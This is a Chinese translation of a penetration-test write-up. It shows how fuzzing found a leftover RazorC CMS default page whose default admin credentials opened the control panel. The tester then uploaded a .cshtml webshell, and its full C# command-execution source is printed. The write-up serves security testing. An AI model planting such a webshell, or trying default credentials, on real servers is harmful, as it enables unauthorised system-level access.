標籤:

從404到默認頁面,通過.cshtml拿到webshel??l

開始

.cshtml是什麼? 可能一些人知道,但是我確定很大一部分人是不知道的。.cshtml是MVC3之後新增的視圖文件,跟原先的aspx很相似。

404錯誤

做一次外部安全評估之前,我一般從被動信息收集開始,收集過程中使用多個工具,如Sublister,DNS查詢,Google dork和SSL證書,找到儘可能多的資源。通過這些方式收集到的信息,有時候我們打開一個網站,返回的響應是403或者404。

作為一個"黑客"或者安全人士,我們無法容忍給出的403錯誤,我需要了解伺服器的架構,會不會存在多餘的信息,或者存在默認的頁面。

我喜歡使用fuzz工具fuzz網站目錄及文件,我常用的fuzz工具是DirBuster,由於DirBuster單純的使用字典來fuzz目錄,那麼我們需要長期維護自己的字典。打開一個網站的跟目錄,返回404的錯誤,但是我運行DirBuster幾分鐘之後,得到了一個路徑"vulnerability.com/appli",返回200錯誤。

訪問管理控制台

使用瀏覽器打開這個網址的時候,發現是一個默認的頁面,可能是管理員忘記刪除。默認頁面Razorc.Net。

RazorC是使用Razor語法的CMS。Razor是ASP.Net Razor,它是用於使用C#或Visual Basic創建動態網站的語言。我注意到上圖中有最後一行有趣的內容。「Go to your_domain.com/rcAdmin to access control panel (default user: 「admin」, pwd: 「razorc」)」

如果忘記刪除這個默認頁面及忘記更改默認密碼。

通過測試,管理員忘記刪除更改默認密碼,我們可以登錄到管理控制台,這時候更接近我們的目標,我們來通過後台獲取一個webshell。

上傳webshell

Razorc.net在他們的頁面描述,你非常容易改變現有的頁面布局。我快速查看管理控制台,發現可以編輯每個頁面的內容。我決定學習Razor語法,學會如何使用它。

熟悉Razor的語法以及它的工作原理

Main Razor Syntax Rules for C#

Razor code blocks are enclosed in @{ … }nInline expressions (variables and functions) start with @nCode statements end with semicolonnVariables are declared with the var keywordnStrings are enclosed with quotation marksnC# code is case sensitivenC# files have the extension .cshtmln

通過學習,我知道了Razor是一種模板語言,具有與其他同類語言相似的語法。它使用C#來創建動態內容,它在執行的伺服器端生成用戶的視圖。最後,文件的擴展名為.cshtml,正如我們在帖子開頭提到的那樣。現在我們來編寫一些C#代碼來實現Razor語法之後的Remote命令執行。

經過一些測試,我們得到以下代碼。

@using System.CodeDom.Compiler;n@using System.Diagnostics;n@using System.Reflection;n@using System.Web.Compilation;n@functions {nstring ExecuteCommand(string command, string arguments = null)n{nvar output = new System.Text.StringBuilder();nvar process = new Process();nvar startInfo = new ProcessStartInfon{nFileName = command,nArguments = arguments,nWorkingDirectory = HttpRuntime.AppDomainAppPath,nRedirectStandardOutput = true,nRedirectStandardError = true,nUseShellExecute = falsen};nprocess.StartInfo = startInfo;nprocess.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);nprocess.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);n process.Start();nprocess.BeginOutputReadLine();nprocess.BeginErrorReadLine();nprocess.WaitForExit();nreturn output.ToString();n}n}n @{nvar cmd = ExecuteCommand("cmd.exe", "/c whoami");n }nOutput of the injected command (by Niemand):n@cmdn

我們通過RazorC管理控制台將此的代碼保存在.cshtml文件中:訪問.cshtml文件,輸出nt authoritysystem

代碼被執行,意味可以執行遠程執行代碼。

結論

剛開始滲透測試的時候並不期望在伺服器上找到漏洞顯而易見的漏洞。我們在掃描伺服器這幾天,有很多存活的機器但是沒有提供應用程序。但是我們發現默認頁面之後,繼續利用這個默認頁面進行信息收集,直到我們得到目標及伺服器。

說實話,第一次實驗沒有拿到webshell。因為我們發現RazorC.net是一種模板語言不知道如何使用它,但是有很多關於互聯網上的Razor語法的信息,當然我們開始嘗試簡單的學習:

@{nvar weekDay = DateTime.Now.DayOfWeek;n}n Today is @weekDayn

通過學習,我們了解Razor語法跟工作原理之後才開始上傳我們的webshell。

本文翻譯自:From 404 and default pages to RCE via .cshtml webshell,如若轉載,請註明來源於嘶吼:t從404到默認頁面,通過.cshtml拿到webshell 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀:

TAG:信息安全 |